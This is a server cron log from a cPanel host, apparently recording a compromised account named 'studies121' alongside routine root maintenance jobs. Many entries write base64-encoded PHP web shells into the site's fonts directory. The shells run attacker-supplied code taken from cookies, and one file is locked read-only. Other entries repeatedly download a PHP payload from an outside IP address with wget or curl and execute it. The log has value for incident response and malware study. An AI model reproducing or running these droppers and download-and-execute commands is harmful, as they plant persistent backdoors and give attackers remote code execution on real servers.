Sep 12 12:45:01 ip-184-168-122-23 CROND[28469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:45:01 ip-184-168-122-23 CROND[28468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:46:01 ip-184-168-122-23 CROND[28631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:46:01 ip-184-168-122-23 CROND[28632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:46:01 ip-184-168-122-23 CROND[28635]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:46:01 ip-184-168-122-23 CROND[28636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:46:01 ip-184-168-122-23 CROND[28637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:46:01 ip-184-168-122-23 CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 12:46:01 ip-184-168-122-23 CROND[28638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:47:01 ip-184-168-122-23 CROND[28780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:47:01 ip-184-168-122-23 CROND[28782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:47:01 ip-184-168-122-23 CROND[28784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:47:01 ip-184-168-122-23 CROND[28783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:48:01 ip-184-168-122-23 CROND[28898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:48:01 ip-184-168-122-23 CROND[28900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:48:01 ip-184-168-122-23 CROND[28902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:48:01 ip-184-168-122-23 CROND[28901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:48:01 ip-184-168-122-23 CROND[28903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:49:01 ip-184-168-122-23 CROND[28983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:49:01 ip-184-168-122-23 CROND[28987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:49:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:49:01 ip-184-168-122-23 CROND[28986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29159]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:50:01 ip-184-168-122-23 CROND[29162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29161]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:50:01 ip-184-168-122-23 CROND[29168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:50:01 ip-184-168-122-23 CROND[29164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:51:01 ip-184-168-122-23 CROND[29261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:51:01 ip-184-168-122-23 CROND[29263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:51:01 ip-184-168-122-23 CROND[29265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:51:01 ip-184-168-122-23 CROND[29264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:52:01 ip-184-168-122-23 CROND[29346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:52:01 ip-184-168-122-23 CROND[29347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:52:01 ip-184-168-122-23 CROND[29351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:52:01 ip-184-168-122-23 CROND[29350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:52:01 ip-184-168-122-23 CROND[29349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:53:01 ip-184-168-122-23 CROND[29433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:53:01 ip-184-168-122-23 CROND[29435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:53:01 ip-184-168-122-23 CROND[29437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:53:01 ip-184-168-122-23 CROND[29436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:54:01 ip-184-168-122-23 CROND[29556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:54:01 ip-184-168-122-23 CROND[29559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:54:01 ip-184-168-122-23 CROND[29561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:54:01 ip-184-168-122-23 CROND[29558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:54:01 ip-184-168-122-23 CROND[29560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:55:01 ip-184-168-122-23 CROND[29762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:55:01 ip-184-168-122-23 CROND[29766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:55:01 ip-184-168-122-23 CROND[29765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:55:01 ip-184-168-122-23 CROND[29764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:55:01 ip-184-168-122-23 CROND[29767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:55:01 ip-184-168-122-23 CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:56:01 ip-184-168-122-23 CROND[29870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:56:01 ip-184-168-122-23 CROND[29869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:56:01 ip-184-168-122-23 CROND[29871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:56:01 ip-184-168-122-23 CROND[29872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:56:01 ip-184-168-122-23 CROND[29868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:57:01 ip-184-168-122-23 CROND[29961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:57:01 ip-184-168-122-23 CROND[29963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:57:01 ip-184-168-122-23 CROND[29965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
